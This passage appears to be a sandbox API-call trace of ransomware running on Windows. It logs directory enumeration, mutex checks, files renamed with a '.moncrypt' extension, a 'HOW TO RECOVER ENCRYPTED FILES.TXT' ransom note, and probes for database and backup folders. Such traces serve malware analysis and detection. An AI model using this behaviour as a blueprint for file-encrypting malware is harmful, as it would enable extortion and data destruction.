ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.658] GetLastError () returned 0x12 [0052.658] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.658] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.658] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.658] GlobalUnlock (hMem=0x44000c) returned 0 [0052.658] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.658] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.658] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.658] GlobalUnlock (hMem=0x44000c) returned 0 [0052.658] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.658] GlobalUnlock (hMem=0x440004) returned 0 [0052.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x409157c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x409157c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.658] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.658] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.658] GlobalLock (hMem=0x440004) returned 0x550170 [0052.658] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.658] GlobalUnlock (hMem=0x440004) returned 0 [0052.658] GlobalLock (hMem=0x440004) returned 0x550170 [0052.658] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.658] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.658] GlobalUnlock (hMem=0x440004) returned 0 [0052.658] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.659] GlobalUnlock (hMem=0x44000c) returned 0 [0052.659] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.659] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x409157c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x409157c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.659] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.659] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.659] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.659] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.659] GlobalUnlock (hMem=0x44000c) returned 0 [0052.659] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.659] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.659] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.659] GlobalUnlock (hMem=0x44000c) returned 0 [0052.659] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.659] GlobalUnlock (hMem=0x440004) returned 0 [0052.659] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.659] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x408ef660, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x408ef660, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x408ef660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.659] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.659] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.659] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.659] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.659] GlobalUnlock (hMem=0x440004) returned 0 [0052.659] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.659] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.659] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.659] GlobalUnlock (hMem=0x440004) returned 0 [0052.659] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.659] GlobalUnlock (hMem=0x44000c) returned 0 [0052.660] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.660] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.660] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.660] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.660] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.660] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.660] GlobalUnlock (hMem=0x44000c) returned 0 [0052.660] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.660] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.660] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.660] GlobalUnlock (hMem=0x44000c) returned 0 [0052.660] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.660] GlobalUnlock (hMem=0x440004) returned 0 [0052.660] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.660] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM.moncrypt", cAlternateFileName="PROFIL~1.MON")) returned 1 [0052.660] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.660] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.660] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.660] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.660] GlobalUnlock (hMem=0x440004) returned 0 [0052.660] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.660] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.660] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.660] GlobalUnlock (hMem=0x440004) returned 0 [0052.660] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.660] GlobalUnlock (hMem=0x44000c) returned 0 [0052.660] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.661] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0052.661] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.661] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.661] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.661] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.661] GlobalUnlock (hMem=0x44000c) returned 0 [0052.661] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.661] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.661] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.661] GlobalUnlock (hMem=0x44000c) returned 0 [0052.661] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.661] GlobalUnlock (hMem=0x440004) returned 0 [0052.661] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.661] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4227, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.661] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.661] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.661] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.661] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.661] GlobalUnlock (hMem=0x440004) returned 0 [0052.661] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.661] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.661] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.661] GlobalUnlock (hMem=0x440004) returned 0 [0052.661] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.661] GlobalUnlock (hMem=0x44000c) returned 0 [0052.661] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.662] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4227, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.662] GetLastError () returned 0x12 [0052.662] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.662] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0052.662] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.662] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.662] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.662] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.662] GlobalUnlock (hMem=0x44000c) returned 0 [0052.662] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.662] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.662] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.662] GlobalUnlock (hMem=0x44000c) returned 0 [0052.662] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.662] GlobalUnlock (hMem=0x440004) returned 0 [0052.662] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.662] GlobalLock (hMem=0x440004) returned 0x550170 [0052.662] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.663] GlobalUnlock (hMem=0x440004) returned 0 [0052.663] GlobalLock (hMem=0x440004) returned 0x550170 [0052.663] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.663] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.663] GlobalUnlock (hMem=0x440004) returned 0 [0052.663] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.663] GlobalUnlock (hMem=0x44000c) returned 0 [0052.663] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.663] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD") returned 1 [0052.663] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.663] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.663] GlobalUnlock (hMem=0x44000c) returned 0 [0052.663] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.663] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.663] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.663] GlobalUnlock (hMem=0x44000c) returned 0 [0052.663] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.663] GlobalUnlock (hMem=0x440004) returned 0 [0052.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冺R冎R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.664] GetLastError () returned 0x3 [0052.664] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0052.665] GetLastError () returned 0x2 [0052.665] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0052.665] GetLastError () returned 0x2 [0052.665] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@塤U企@\x18?T\x18D")) returned 0xffffffff [0052.666] GetLastError () returned 0x2 [0052.666] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18삌R\x18j")) returned 0xffffffff [0052.666] GetLastError () returned 0x2 [0052.667] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@塤U企@\x18?T\x18q")) returned 0xffffffff [0052.667] GetLastError () returned 0x2 [0052.667] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0052.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0052.668] GetLastError () returned 0x2 [0052.668] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0052.668] GetLastError () returned 0x2 [0052.668] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\quad\\") returned 0x3d [0052.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a380, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.669] 